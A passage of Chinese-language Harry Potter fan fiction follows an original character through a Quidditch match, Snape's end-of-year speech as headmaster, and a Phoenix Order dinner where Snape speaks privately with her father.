当他们抵达魁地奇球场的时候,禁林上原本盘踞的雾气已被饱和的丰沛暖光取代,呈现出一种前所未有的翠绿欲滴和欣欣向荣。连黑湖也显得格外光彩夺目,湖面上有浅浅浮跃的铂金色,几条人鱼懒懒地伏在岸边,好像也被久违的魁地奇赛的高涨情绪所吸引。 看台上,穿着遮阳斗篷和拿望远镜的人密密麻麻地挤成一团,有长长的横幅和旗帜迎着微风波动在艳阳??下。放眼望去,整个赛场已然被清楚地分为红与黄的海洋,不时夹杂着穿着其他两院校服的学生,但他们都举着红的或者黄色旗帜,显然是有各自心仪的球队。 蕾雅他们四人沿着木台阶攀爬到最高的观众台,又穿行过一拨拨的人,走到最前排的高年级专属的区域,找到了卢娜和她身边的几个空位。 “早,各位。”卢娜还是戴着她的那顶夸张狮子帽,大概是想以此来表示对格兰芬多的支持。 “早,卢娜。”纳威先走了过去,坐到她的旁边,感谢地说:“谢谢你替我们占位置。” 蕾雅跟着纳威走到座位前,和卢娜打过招呼后顺了顺校裙坐到纳威的旁边。她戴上遮阳帽,眯了眯眼眺望着球场上的队员和远处的树林:“突然觉得好感慨,去年我们还在这办邓布利多先生的葬礼呢。”说着,她将罗恩递过来的大红狮子头彩旗传给卢娜和纳威,然后手中不自觉地轻摇着旗子。 是啊,但邓布利多现在就在离她不远处的裁判席上坐得好好的,脸上挂着慈爱的神情。而老巫师和麦格中间还有一个与场上颜色格格不入的黑色身影,他正面无表情地望着球场上蓄势待发的队员们。 “是啊。”赫敏也坐了下来,在他们手边放下几瓶饮料,“前几天我跟罗恩散步的时候才说过这个事,谁能相信——” “我们现在还能站在这儿,和邓布利多一起看着哈利安安全全地打魁地奇呢。”罗恩接过了话,他刚说完,地上的哈利仿佛听见他们的讨论一样,和金妮一起转过头来,朝格兰芬多席挥了挥手。 这片深红的汪洋中旋即爆发出激烈的欢呼声,分明是对救世主男孩的致敬。 “看来我们今天不赢都不行了,总不能打败了伏地魔却输了魁地奇吧!”罗恩咬着手指,吹了个响亮的口哨,大喊道:“伙计们,加油啊!” 只见,霍琦女士步伐稳健地提着箱子走到两对球员的中间,举起手:“双方队长握手。” 金妮顺从地迈开步走到霍琦女士的面前,与赫奇帕奇的队长握过手。 霍琦女士面带慈祥的微笑,随着她的手臂倏地下挥,哨声响彻球场上空,鬼飞球被高高抛起,旋转着划出一道凛冽的轨迹,两队的球员立即冲天而起。顷刻间,排山倒海的声音像是波涛滚滚的巨浪一样,将在场的每一个人卷入这场激动人心的比赛。 李·乔丹也一如既往地通过魔法麦克风带来满载的激情:“霍琦女士的哨声宣告比赛开始!注意看那边,金妮·韦斯莱就如同一道红色闪电,率先冲向鬼飞球。但别忘了赫奇帕奇的追球手,他们紧紧跟随!看看我们的救世主哈利·波特,他正专心观察着场上的动静——金色飞贼会在哪里现身呢?” “看,金妮今天的状态也特别好。” 赫敏举起手指着空中那宛如红色彗星般飞掠的韦斯莱女孩。(1) 蕾雅顺着她的指向望去,见到金妮正骑着扫帚绕过几名穿着赫奇帕奇黄色队服的对手,紧随着鬼飞球,她那抹鲜明的红发飘在身后,在烈日下闪闪发光,散发出无比的自信。她矫健地俯冲而下,魔法扫帚翻卷起沙地上的尘埃,仿佛为她铺开了一条激昂的胜利之路。 比赛开始的三分钟,金妮已经全然进入状态。她灵活地拐了几个急弯,迅速穿梭在那些黄色队服的对手之间,猛地追上了鬼飞球,并精准地将其传给了右侧的凯蒂·贝尔。 周围立刻爆发出一阵激烈的叫喊声,蕾雅也一同伫立起来为队员加油。仅仅须臾之间,贝尔带着鬼飞球直直地扑向球门铁环,赫奇帕奇的守门员急忙调转方向——但为时已晚,鬼飞球准确无误地穿过铁环,格兰芬多直接获得了十分。 “太完美了!”乔丹在麦克风里高喊道,“完美的进球,格兰芬多获得十分!” 与此同时,这一边的哈利骤然拉高火弩箭的角度,因为就在进球的一瞬间,金色飞贼忽而从球场的另一侧闪现出来。哈利绷紧脸色,马上紧贴过去,但赫奇帕奇的追球手也跟随哈利冲向金色飞贼。但不久后,狡猾的金色飞贼又一次消失。 比赛进入第三十分钟,追球手们还没重新找到金色飞贼,赫奇帕奇的队员们却突然找回状态,迅速地将比分拉平。金妮显得有些不甘,因为哈利最讨厌的那个赫奇帕奇队员扎卡赖斯·史密斯还好几次尝试把她逼到角落挤下扫帚。 “这太可恶了。”赫敏说道。 “斯内普怎么不判犯规呢。”罗恩愤愤不平。 不过,根本不需要斯内普出手,因为金妮从来就不是好欺负的对手。她装作被史密斯引诱的模样飞到场边,下一刻却突然急急地往下直降,紧接着,史密斯的面前撞来一个狠疾的游走球——正是吉米·珀克斯,他得意地对格兰芬多席扬起下巴,高举起球棒。 “梅林保佑史密斯!”乔丹握紧麦克风,语速快到几乎赶上场上的队员:“但我们的关注还是要回到格兰芬多的追球手金妮·韦斯莱,她已经再次追上了鬼飞球!” 的确,在短暂摆脱史密斯之后,金妮和贝尔很快重新追上了由赫奇帕奇队员守护的鬼飞球。场上两队球员在离看台不远处挤作一团,重重的黑球纷乱地传递在他们之间,呼啸声和风声凌厉地刮过观众们,速度快得几乎无法分辨谁控制了球。 氛围达到了沸点,格兰芬多席的观众们纷纷高喊金妮的名字,赫敏捏紧了蕾雅的手,罗恩则用力挥舞着横幅,又把手做成扩音器的形状抵在嘴边,向场中大声助威:“金妮,给他们看看韦斯莱的实力!” “看呐!金妮又一次掌控全局!”乔丹的声音同样充满激情,“我说过,金妮·韦斯莱是个奇迹!” 好像是听见了罗恩和乔丹的鼓气,金妮紧咬牙关,抓着鬼飞球冲出包围圈,与仍然在寻找金色飞贼的哈利擦肩而过,笔直闯进射球范围。然而,就在鬼飞球被她击出的一刻,恢复过来的史密斯从另一侧急速飞出,用尽全身力气地朝鬼飞球顶去—— 那个被撞击的黑圆影子突兀地改变运动轨迹,迅速拐过一个诡异的弯,继而直线奔向格兰芬多看台,速度快到仿佛破开了空气阻力的利刃,挟着飞扬的尘土迅猛逼近。 “趴下!”纳威的话音中带着惊恐,他一边大叫一边按住卢娜蹲下。 但一切似乎都已经太迟,就在蕾雅刚要低头的须臾间,她便望见疯狂的鬼飞球立马就要撞上护着赫敏的罗恩。 “PROTEGO MAXIMA!!” 蕾雅想也没想,本能地往他们的方向伸出手,随即听见自己的呼喊。紧接着,好像有一圈薄薄的护盾从她的指尖迸溅着扩散出去,她的视野被一片刺眼的白光占据,一时间什么都看不见了,只余下一声突兀的撞击巨响在耳边爆炸,轰鸣到她全身为之一颤。 场上安静了一瞬,等她的视野恢复些许清明,能看清楚周围时,急忙地转过头确认旁边的好友们:“罗恩,赫敏,你们没事吗?”见他们都安然无恙地点头,她终于长舒了一口气。 “进、进去了?”纳威犹犹豫豫地凑上来,“蕾雅!你把球反弹进去了!” “啊?”蕾雅还没从震惊中回过神来,不清楚刚刚发生了什么事情,“什么进去了?” 蕾雅刚说完,才发现她旁边的人都张大了嘴紧盯球门的位置,浮在空中的球员们也是满脸的不可思议,好像看到什么骇人的事物一样。倒是铁环前的赫奇帕奇守门员表现得不太一样,他的面庞骤缩成一团,正愤懑地捂着脑袋,随后不解地指了指着蕾雅的方位,脸冲向裁判席。 到底发生了什么? “哇哦!”乔丹的广播声打破了片刻的寂静,“这可能是我见过的最不可思议的进球之一!蕾雅·莱恩哈特,格兰芬多的勇士,用一个‘巨大防护咒’不仅保护了她的朋友们,还意外帮助她的队伍进球!真是太令人震惊了!那么,这到底算不算分呢——” 对侧的裁判席上,所有的教师们都已站起。中间的斯内普用一种不可置信同时夹杂着担忧的神情凝望蕾雅这边,他手上还掂着魔杖,显然本来是准备施展魔法的。 邓布利多则是笑呵呵地轻抚雪白的胡子,对惊讶到失色的麦格教授摆了摆手,之后俯身凑到斯内普的耳边说话。斯内普听过后,慢慢地颔首,抿直薄唇重新坐下,黑发贴在他的脸侧纹丝不动,整个人肃穆到不像是在参加一场魁地奇。 “我看得很清楚,球真的穿过去了。”卢娜轻柔地肯定道。 “这得在魁地奇球史上记上一笔了。”罗恩仍处在差点被球砸中的惊魂中,喘了一大口气,“不过,这算分吗?斯内普会怎么判呢?” “我也不知道啊……”赫敏茫然地眨眨眼,“但这也,太厉害了吧!蕾雅,你连魔杖都没有拿!”她忍不住大笑着抱紧了好友,完全没有在意怀里的蕾雅被她的热情晃得越来越恍惚。 “刚才,主裁判斯内普校长已经宣布,格兰芬多得到了精彩的十分!格兰芬多重新领先!”乔丹的广播再次在球场上空高高响起。 格兰芬多的看台上再度爆裂出一阵狂热的掌声,不少人还朝蕾雅拥了过来鼓掌,弄得她感觉从来没有这么害怕人群过,“哇!不是我放的防护罩!不是我进的球!”她试图掩藏在赫敏的身后假装不是自己,但奈何场上的目击者实在太多,这个办法只能是无济于事。 “比赛继续!”幸好,随着乔丹的宣布,场内的空气立刻被新一轮扫帚擦破空气的飞行声填满,观众们的注意力也被拉扯过去。 等周围的人重新沉浸在激战的赛事中,蕾雅终于缓过气。她坐下来喝了一口水,低头看向手环: 「偏心?」她故意调侃。 「是邓布利多的决定,我很公正」回信来得极快,她抬眼往前,斯内普正对她挑起眉毛,随即淡定地移开了视线。 这一幕发生没过多久,哈利就寻到了金色飞贼的踪迹,他的火弩箭在空中划过一个又一个精准的弧线,伴随着铺天盖地的嘹亮呐喊,很快就终结了这场比赛。 那晚,格兰芬多公共休息室里久久地响起庆祝胜利的喧哗。黄油啤酒与爆米花的香气弥漫开来,各种来自韦斯莱魔法把戏坊的新产品们被一一打开,零食和各种玩笑药剂的味道充满整个房间,连差点无头的尼克爵士都情不自禁地参与到这欣喜狂欢行列。 他们在茶几上铺满了新奇的玩意,这种欢快的气氛一直延续到了周末,直至格兰芬多在决赛中战胜斯莱特林。 随后迎来的是考试周,除了即将参加NEWTs的七年级学生,其他年级的学生都得忙碌于复习。 七年级的学生们则跟往常一样准备着NEWTs来迎接七月为期一周的短假,但对于那些不准备参加NEWTs考试和假期补课的学生来说,这也将是他们在霍格沃茨最后的日子。 所以,最后一顿的学年终晚宴布置得格外盛大,由于今年的特殊情况,礼堂上也没有挂上学年杯的学院旗帜,而是共同挂起四院四色的旗帜与繁花。晚宴前,霍格沃茨为少数不再回来的七年级学生举办了一个小型毕业典礼,斯内普、邓布利多和其他教授们郑重地为这些毕业生戴上花冠。 晚宴上,斯内普第一次以霍格沃茨校长的身份做年终致辞。 他从座位上缓缓站起,依旧身着一袭干净利落的黑袍,在霍格沃茨礼堂璀璨的烛火、魔法星空、还有丰盛的食物映衬下显得愈发的严肃和冷峻。他稍稍抬手,吵杂的礼堂立刻安静到鸦雀无声,所有的目光都朝他聚焦。 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“其次,我想提醒你们,今年你们所见的一切,都是魔法世界的现实。”他的嗓音低沉而平稳,却充满威严:“黑魔法、诅咒和其他禁忌的力量,他们强大而普遍,就像双刃剑,总有人出于各种理由去追求。”他稍作停顿,将词句放得更加低缓,带着一贯的拖尾:“甚至,我相信你们中的一些人在必要时也使用过它们,包括我自己。为此,我的前半生几乎都在弥补这些错误。” 这是显然一次比以往任何一次年终晚宴都要沉重正式的致辞。蕾雅不自觉地坐得更直,从角落的光线中看到哈利诚恳的面容——他从没有这样聆听斯内普的讲话,还有另一头的德拉科·马尔福,正板直毫无血色的脸。 远些的教师席上,邓布利多和麦格以一种宛若包含万物的祥和目光凝望着斯内普,一时让人觉得,也许这位正在讲话的男巫才是今年的优秀毕业生。 斯内普继续叙述,他不重的语调锋利有力,每个字似乎都敲在空气墙上,发出激荡的回响:“在霍格沃茨,我们教授你们如何使用魔法,但在这城堡之外,未来你们必须独立作出决定,强大的魔法同样意味着巨大的责任。即使你们也许会觉得,战争已经结束了,但请记住,你们今后也许还会遇到各种各样的情况。每一个魔法动作都承载着责任,请不要做出让自己后悔、最终无法补救的决定。” “作为霍格沃茨现任校长,我希望你们每一个人,在未来的道路上,不仅成为优秀的巫师,更是诚实和正直的人。对于毕业生们,这是我们对你们最后的要求,也是最真诚的期望。”他举起了桌上玻璃酒杯,杯中的酒液微微晃起涟漪。 他的目光又一次在礼堂内缓缓扫过,嘴角微微抿起一个弧度,然后面色略显平和地补充道:“当然,若你们在未来遇到迷茫,霍格沃茨的大门将永远对你们敞开,教授们随时欢迎你们回来寻求指导。” 说完,斯内普象征性地抿了一口香槟,再次高举酒杯示意晚宴的开始,在热忱的掌声还有其他教授欣然的注视里淡然地坐下。 但是谁也没有急着伸手去够林林种种的美食,礼堂里逐渐充斥着纷纷的议论,甚至还夹杂着低低的啜泣声,或许从来没有人认为斯内普竟然会是这样的一位校长。 “这还是那个地下室的大蝙蝠吗?”不知道是谁感叹了一句,“他难道一直都在忍辱负重?” “呜——我突然觉得斯内普校长有点帅。”又不知是哪位女生感慨着,“他好像还是单身?梅林啊!他竟然真的是为事业奋不顾身的男人!” “我也开始相信最近报纸上关于他的报道了。”还有更多的话在礼堂里漂浮扩散。 一时间,呜咽声、惊叹声、议论声全部交织成一团覆盖住礼堂上空的无形云朵,云雾渐渐垂散,碎开化成润物的细雨洒落,沉静而温柔地笼罩着霍格沃茨的学生们。在雨云的洗礼过后,所有人都意识到,斯内普已经不再是过去的那个人——就如魔法界与霍格沃茨这片土地,也都已然抽出新芽,不会跟以前再一样。 这种清晰向每一个人袭来的顿悟此刻就像这场战争的胜利,从来没有如此鲜明真确过。 晚宴过后,大家又花了点时间与那些不再返校的毕业生们一一作别,交换过今后的联系方式和对未来的祝福。回到格兰芬多寝室收拾放短假的行李时,蕾雅还长久地沉浸在礼堂上的那种强烈的不舍之中,第一次开始深刻地感到毕业其实是如此接近。 “蕾雅,明天你会和我们一起去格里莫广场吗?”赫敏的搭话适时地将蕾雅的思绪拉扯回现实。 蕾雅转过头,见到赫敏正在用魔杖把几件厚衣服塞进行李箱里。她也不紧不慢地开始整理书桌上的物价,随口答道:“嗯,我想跟你们一起去,然后在那里跟爸爸碰面。” 赫敏听后扬起眉毛,露出一个明了在胸的笑容:“哦?只有你爸爸吗?他不去吗?” 蕾雅怔住一瞬,随后慌忙抬手将滑落的长发别回耳后,轻如耳语般答道:“他也会去。” “我说,刚刚他在礼堂上那番话真的。”赫敏似乎没打算放过这位脸红到跟格兰芬多地毯没什么区别的好友,继而开口道:“确实有点太迷人了,我现在完全可以理解你当初为什么这么着迷,他在你面前难道一直都这样?” “嗯。”蕾雅轻轻应了句,低下头嘟哝:“我觉得他一直都这样。” “哦我想起来了,你当时说他很温柔。”赫敏丝毫不在意蕾雅的死活般接着打趣:“没想到竟然是实话。” “赫敏你快别说了。”一旁本来只想听着她们对话的拉文德很自然地加入话题,她慢悠悠地把书本和两个化妆包仔细按进行李箱,笑着说:“蕾雅要冒烟啦。” “没办法,这个消息实在太令人震惊了,”赫敏将一件厚毛衣叠好,咯咯地笑起来,“你们不知道,哈利可是半个月都没缓过来,罗恩到现在都不相信这件事呢。” “别再开我玩笑啦,不然我以后都不跟你们说了!”蕾雅这才后知后觉地鼓起嘴佯装抱怨,她正用力地以手背给红到发疼的脸颊降温,同时试图岔开话题:“快说说你们假期的安排?赫敏,你为什么要收厚衣服?” “噢,我和罗恩可能会去澳洲。”赫敏的脸上展开一个半是遗憾半是期待的表情,轻声解释:“我想去找找看我的爸爸妈妈,在战争之前,我给他们下了遗忘咒。” “梅林!”蕾雅听见这个消息以后惊愕地顿了顿。回过神来后,她撂下手上的行李物件,站起来踱到赫敏的身边坐下,眼神认真而关切:“你知道他们在哪里吗?” “说实话……”赫敏垂下眼睑,叹了一口气,捏紧魔杖的手关节微微有些发白。 “那我明天问问爸爸,看看有没有什么可以追踪用的魔法工具。”蕾雅想也没想就按住了赫敏的手,“实在不行,我可以跟你一起去,多一个人寻找可能会更好。或者……我还可以问问他。” “谢谢你。”赫敏也给了蕾雅一个温暖的拥抱,“如果有帮忙的工具就很好了,我不想麻烦你们跟我一起去。” “好吧。”蕾雅抿着唇,面庞上都是不可置疑的殷切,“但是,赫敏,答应我,如果需要我们帮忙的时候,一定要告诉我。你记得我家电话号码的。”她帮着赫敏将那几件厚衣服推到一边,之后往空档处塞进一叠厚厚的书籍与笔记。 “我答应你。”赫敏点点头,又突然想起什么般询问:“那你明晚会跟我们一起留在格里莫广场吗?” “我也想呢,还是得问问爸爸。”蕾雅微笑着答复:“我担心他和妈妈太想我。” 第二天早上,蕾雅跟其他伙伴们一起,在斯内普的冷眼和其他教授充满欣慰的目送下,登上那辆在日光下红彤到耀眼的蒸汽火车。 随着长长的汽笛声轰鸣,袅袅的白烟蒸腾上升,逐渐散开在葱郁盎然的禁林上空,如同一道沿着时光坡度流动的小河般一去不返,而七年级的正式学年,到这里就结束了。 73.祝酒 “叮咚——” 悦耳的门铃声响在厨房忙碌繁杂里,韦斯莱太太正忙着给烤鸡涂上酱料和铺满蔬菜。她从料理台旁探出头,朝餐厅的方向喊道:“蕾雅,你能去开门吗?” “好。”坐在餐桌前摘豌豆的人儿暂时撂下手中活,拿起餐巾擦着手,穿过布莱克家长长的门厅,走到大门前。 脚下是一块象征格兰芬多狮子的地毯,似乎房子的主人特意重新布置过了宅子,还特意选择了与之前阴森森、沉甸甸的绿色截然不同的格兰芬多红。有阳光穿透过大门的缝隙落在地毯的一隅,蕾雅轻快地踩着它,伸手拉开大门。 “爸爸,你怎么来得这么早。”蕾雅惊喜地看到她父亲出现在门口,她说着便扑进雷格纳的怀里。随后,她见到金斯莱、亚瑟、唐克斯、珀西这些魔法部的凤凰社成员也站在他身后,她顿了顿,松开父亲,“大家好。”她甜甜一笑,侧过身让大家走进屋内。 门厅里最好不要说话,这是所有凤凰社成员都深谙的道理,所以直到拐进屋内,亚瑟才风趣地笑着开口:“嗨,蕾雅。其实是金斯莱部长决定让我们早点下班。“他一点也没有介意金斯莱部长依旧带着严肃的轻咳声。 “蕾雅,怎么是你开门?”雷格纳手里提着两个装满礼物的纸袋,和亚瑟一起走过长廊,其他人紧随其后。 “哈利他们跟韦斯莱夫人在厨房忙着呢,挤不下我啦,我只好在外面守着了。”蕾雅和他们一同返回餐厅,补充道:“其他教授们都还在学校改卷子呢。” 她话音刚落,餐厅壁炉突然亮起一团绿色的光芒,火焰窜起后消散数次,刚提到的几位“教授们”一个接一个从壁炉中走了出来。 “哦——金斯莱,雷格纳,大家都到了啊?”邓布利多整理着浅紫色的长袍,向前走了几步,为身后的麦格、布莱克、卢平让开位置。卢平还抱着小泰迪,一出壁炉就自动捕捉到唐克斯的方向,一家三口拥成一团。 “其实我们也刚到。”金斯莱正与麦格握着手打招呼,又忙不迭地转向邓布利多:“西弗勒斯呢?” 这个名字一提起,正忙着放下餐桌上的酒水和礼物的雷格纳也扬起下颚,将目光移到邓布利多身上,顺带掠过坐在桌子前低头摘豌豆的蕾雅。 “他还有事忙,所以留下工作了。晚些就到。”邓布利多摆了摆手,以一双饱含安抚的蓝眼睛回望雷格纳,对这位新晋副司长颔首。 嗯,其实根本就是讨厌应付这种人多的场合。 蕾雅在心里悄悄自言道,不慌不忙地摘下豌豆梗扔在另一个碗中,避免碰上父亲那过于明显想要打探的眼色。 “到了就都别傻站着,自己招待自己。”韦斯莱夫人再次从厨房探出头,手边用魔杖传出一盘切好的水果,“晚餐还要一点时间呢。” “对,橱里还有酒和零食。”一身优雅西装的布莱克也挥动魔杖,几个酒杯还有香槟、白葡萄酒、坚果、芝士、饼干等食物自动飞到餐桌上,“大家不要客气,凤凰社一向惯例,这里就像自己家。” 他风度翩翩,安排着餐桌上的一切,颇有家主风范。 “我还带了一瓶希腊酒和一瓶麻瓜威士忌,不过威士忌还是最好留到晚上,”雷格纳接着将那瓶餐前喝正好的希腊酒和威士忌搁到桌上,又挑起眉毛面带神秘地晃了晃手边的一个大纸盒,“还有一盒麻瓜玩具,奥德莉亚说正好适合孩子们。” “什么麻瓜玩具,快让我看看!”比起孩子们,倒是亚瑟先被勾起了好奇心。他走到雷格纳身边,手亲昵地搭在金发男巫肩上,凑前身念出声:“大,大富翁?” “是一种策略性的棋子游戏,模拟买卖房地产……”雷格纳直接把盒子里的说明书抽出来,塞给亚瑟,两位年近五十的大男人就一左一右地端正坐在餐桌上,开始研读:“这是一款经典的策略性棋子游戏,通过模拟买卖和管理房地产,培养玩家的财务策略和谈判技巧。” 这过于严谨的场面着实让另一侧的蕾雅差点笑出声。 一时间,布莱克家好像挤满了人,厨房里的料理,餐厅的交谈,酒杯的轻碰都融化成一种充盈的热闹,填满在这个空间。没过多久,卢平和唐克斯去二楼的客卧安顿婴儿的晚餐,布莱克则倒了好几杯餐前酒,领着邓布利多、金斯莱和麦格走到客厅去叙旧,而哈利偷偷从厨房溜出来,也跑到客厅暂时加入到谈话。 赫敏、金妮和罗恩始终在料理台前帮着莫莉的忙。蕾雅完成摘豌豆后,也进去开始调配沙拉和烤蔬菜的酱汁。无所事事的珀西决定加入到厨房帮忙的行列,挨着蕾雅,按照莫莉的吩咐用魔杖将洗干净的蔬菜切成丁。 于是,珀西一边精心地将土豆切成完全相同的小块,一边轻轻地问:“你在家总做饭吗?” “有时。”蕾雅往一个盛着浓稠酱汁的白瓷盘子里倒入蒜末和黑椒碎,“上个暑假妈妈去了希腊,那段时间我和爸爸只有我们两个人,所以我做饭比较频繁。” “莱恩哈特先生有你真好。”珀西赞赏地答道,露出个真诚的笑容。 蕾雅微微一笑,歪过脑袋越过珀西,直接对站在烤箱前仔细察看火候的莫莉说:“可是,韦斯莱夫人做的饭肯定更好吃呀,我可羡慕你跟金妮罗恩了!” 莫莉一叉腰,满意地看着烤箱里的鸡肉色泽逐渐变好,随即对蕾雅扬起一个热情的笑容:“哎呀谢谢你,这姑娘说话真好听,喜欢的话多来我们家做客!”这话明明是在夸赞蕾雅,珀西却不知为什么忽而觉得自己的耳尖也变得热热的。 厨房的另一角,正在准备沙拉的蔬菜赫敏、金妮和罗恩静静地观察着这一幕,好不容易才抑制住没露出破绽。 金妮摇了摇头,边冲洗着生菜叶子边放轻声,先开了口:“梅林,珀西这也太明显了,妈妈还在呢。” “所以,我们到底要不要找个机会告诉珀西?”罗恩一脸担忧地用气音在这其中说。他手里的魔杖在空中不断划动,黄瓜随之碎成长条,发出清脆的咔嚓声。 “算了,他俩还没公开呢。”赫敏叹着气拗开水池里的羽衣甘蓝,“反正也不用多久,珀西会得知的。” “光是想象一下,突然又觉得他有点惨。”罗恩砸了砸嘴,切好的黄瓜条和胡萝卜条被他塞进几个沙拉杯中,“这根本就是没胜算的。” “梅林!你还想他去争?”金妮扯出个很惊悚的表情,拿出小碗开始调油醋:“我都不敢想象那下场会有多糟糕。” 然而,不用这三个人过多的操心。当晚餐准备接近尾声时,刚到来的韦斯莱双胞胎也凑热闹般跑进厨房,故意挤在珀西和蕾雅中间,接着开上次晚会没结束的玩笑。蕾雅最初还能应对几句,后来实在感到一点窘迫,便拉着赫敏和金妮出去铺设餐桌。 三个人换过桌布,不时讨论起假期的事,顺便咨询雷格纳关于寻找赫敏父母的工具。雷格纳理所当然地答应下帮忙,还同意了蕾雅晚上的留宿。她们笑得更加高兴,接着将食物一样样地有序摆放在长桌上,指挥着餐具、酒杯、餐巾、蜡烛和摆盘装饰等等一系列东西在餐厅中找到相应的位置,并感叹这间屋子竟能容纳下这么多人。 很显然,跟凤凰社一同发展起来的还有韦斯莱夫人的手艺——南瓜浓汤、羽衣甘蓝豌豆沙拉、薯条炸鱼和洋葱圈、黄瓜胡萝卜冷盘、干酪火腿通心粉、烤蔬菜配上煎牛排、还有最后一盘大功告成的烤鸡不一会儿就统统摆在长桌中间。 整个餐厅瞬间弥漫开浓郁的食物香气,搭配着窗边大片烘烧得正好的火色晚霞,很是让人充满食欲,以至于还没等莫莉夫人催促,大家已经遵循诱人的气味自然而然地聚集到餐厅入座。 斯内普出现在晚餐开始前的最后一刻,这个时间卡得太准,让赫敏和哈利不禁偷偷问蕾雅是不是她用手环通知的斯内普。蕾雅的眼睛弯成两道小小的新月形,慌忙摆手否认,同时不自觉地与他对视一瞬。斯内普没有展现任何的情绪,冷着脸坐到餐桌旁,身上那种还没来得及卸下的工作气场太过凛然,硬是把刚才热烈的温度降下几度。 邓布利多简短地致开场白后,金斯莱接着报告了魔法部的近况,表明魔法界差不多已重回正轨。映着三叉蜡烛欢快跳动的火苗,美味的饭食顷刻间推高宴会的愉悦氛围,尤其是几杯佳酿下肚,话匣子也纷纷打开,甚至连斯内普也被无奈地拉进了金斯莱、邓布利多、麦格以及雷格纳的对话之中。 大人们相互交换情报,而七年级的学生们则被依次询问未来的计划。金斯莱对哈利和罗恩想要成为傲罗的意向表示满意,这令布莱克脸上展出骄傲的神色,连连夸赞不愧是詹姆斯的儿子。就这样,餐桌上的谈笑和干杯一刻也没有停歇,躺在餐厅角落摇篮里的小泰德,不时以啼哭声为这场聚会增添一些新生活力。 除了比尔和芙蓉因为刚怀小宝宝而手忙脚乱未能参加外,小半个魔法界的未来真的都在这里了。 饭后,伴随黑夜逐渐铺开的星月画卷,孩子们都围绕在客厅壁炉前的大茶几上玩雷格纳带来的大富翁。八人恰好达到游戏人数上限,小小的房屋和酒店被一一放置在缤纷的棋盘上,笑声和叫喊声此起彼伏,十分温馨惬意。而其余的年长巫师们在客厅的另一角,继续着饭桌上的谈话。 斯内普倚在墙角的沙发上,酒杯在手中轻晃。他漫不经心地把注意力从被韦斯莱双子打趣的她和珀西身上收回,然后干脆地起身,踱到金发副司长的身侧,低声说:“雷格纳,单独谈谈?” “好啊。”雷格纳没有表现出太多惊讶,点着头就站起来,他顺手指向桌上剩下的半瓶威士忌问道:“再加满?” “谢谢。”斯内普顺从地递出酒杯,看着雷格纳微笑着为两人的杯中放入整冰,橘色酒液浇在上面。 两个人向其他人暂时道别,在邓布利多和麦格意味悠长的慈爱眼色中离开客厅,一同走到室外的露台坐下。 气氛一下安静下来,迎面吹来的夜风夹杂着微凉的冷意和花香,还有从不知何处飘来的孩童欢笑声。 雷格纳放下一小盘芝士和肉干在两人之间的小桌上,望着天际线边悬挂的凸月,沉思地说:“啊,我没想到你会主动来找我。” “我还没有为之前的事表示感谢。”斯内普浅浅地啜饮一口威士忌,将杯子放在交叠的双膝上,指尖不经意地沿着杯边摩挲,发出细微的声响。 “之前?”雷格纳手中的酒液在夜色中呈现出暗红色。他思索片刻,迟缓地反应过来:“邓布利多的事还是审判的事?那都不算什么,也不是什么值得一谢的事。” 斯内普淡然地回答:“不提邓布利多的事,但你本不必为我作证的。不过,其实今天我想谈的是另一件事。”他的话音充满诚意,眼神异常坚定。压下心跳后,他稍稍坐正点转向雷格纳,嘴唇卷曲一下,缓慢地张开:“就是……” 听到这里,雷格纳刚才还从容的脸上瞬间翻涌起复杂的神色,他抬起手打断斯内普:“等等。”他哑声重复道:“等等,西弗勒斯,让我缓缓。”说着,他拿起酒杯饮下一口。 斯内普肩线旋即一抖,稍感意外,但很快扯出一个抱歉的笑容,“原来你已经察觉到了?” “怎么能不察觉到呢?我早就得知她的心思。”这位父亲端着酒杯,脸上流露出一丝落寞,随手掂起一块芝士扔入口中:“实际上,自从你向我坦白你的身份以后,我就已经在做心理准备了。今晚来之前我还抱着一点希望,但看到你刚才看她的那种眼神,我明白了,我再也留不住她了。” 斯内普没忍住低声笑了笑,反而安慰起这个年长的神秘司副司长:“我又不会带走她消失,她永远是你的女儿。” 虽然话语略带轻微的讽刺,但这却是他极少在除了她以外的人面前表现出的温柔。 “哎……”雷格纳还是很失落,仿佛没听见斯内普的话似的自言自语:“抱歉,我确实得缓缓。” 在这个世界上,还有什么比发现女儿喜欢的人是个才华横溢、深藏不露的战争英雄更令人难以接受的呢?这位英雄如今不仅是前途无量的霍格沃茨校长,深受许多人的仰慕,而且他与女儿之间的感情深到,明白人只一眼就能看出那绝不亚于任何父亲的爱——他唯一的“缺点”是年纪稍大,但在巫师界,这根本算不了什么。 这样想来,雷格纳几乎找不出反对的理由——即使换做其他任何父亲来做抉择,也未必能做得更好。 再说,哪位父亲真的能完全阻止女儿和所爱的人在一起呢? 好不舍得——这位副司长越思考下去,左胸便越乏闷得厉害,他试图扯松领带让自己感觉好些,发现没什么用后只好又仰头闷一大口威士忌,这令旁边的斯内普不得不伸手截住他的酒杯,皱着眉提醒:“慢点,等下回去她妈妈还得照顾你。” 哦,说到奥德莉亚,雷格纳的肩膀直接垮了下来,看起来更悲伤了。 他抓了抓那头耀眼的金发,苦闷地做深呼吸,试图整理好一位合格的老父亲心情。斯内普一直安静地等待,直到雷格纳终于能够重新看向他说:“对不起,我有些失态了。其实,我是想起来一些奥德莉亚和蕾雅的事情。” “我可以知道吗?”斯内普神色认真,紧盯面前人那双橄榄绿的眼睛。 “既然我提起来,那当然是准备告诉你。” 雷格纳心情逐渐平稳,嘴角勉强牵起个淡笑。他端起玻璃杯,和斯内普手里的轻轻一碰,娓娓讲述:“一直以来,肯定有人很好奇,我为什么会这么过度保护她。是的,我清楚自己有些过头了。”他自嘲地笑了笑。 “嗯。”斯内普简短地应一声,将目光落在布莱克家庭院里那株浅白色的月见草上,抬起杯子咽下醇酒,等待着雷格纳接下来的话。 “事实上,我根本不想她进入危险的魔法世界。”雷格纳也随着斯内普的视线转向那株月见草,他再拿起一片芝士,感受纯郁的奶味在口腔内散开,才说:“一开始,由于保密法和我的工作,我并没有告诉奥德莉亚我是个巫师。所以蕾雅出生的时候,我没有想过,麻瓜医院没有可以完善对应巫师新生儿的设备。” “但我认知里,麻瓜和巫师的出生不应该有很大的区别?”斯内普稍显疑惑地问,“是出什么事了吗?” “不错。”雷格纳接着解释,“你应该知道,巫师新生儿的魔力有时会无意地表现,尤其在紧张或不安的情况下。当时奥德莉亚有点难产,导致蕾雅的魔力几近失控。那个时候,奥德莉亚和蕾雅几乎……”他的话戛然止住,冷抽一口气,是不愿回忆起过去的那一幕, “为此,我当时就下定决心,蕾雅会是我们唯一的孩子。” 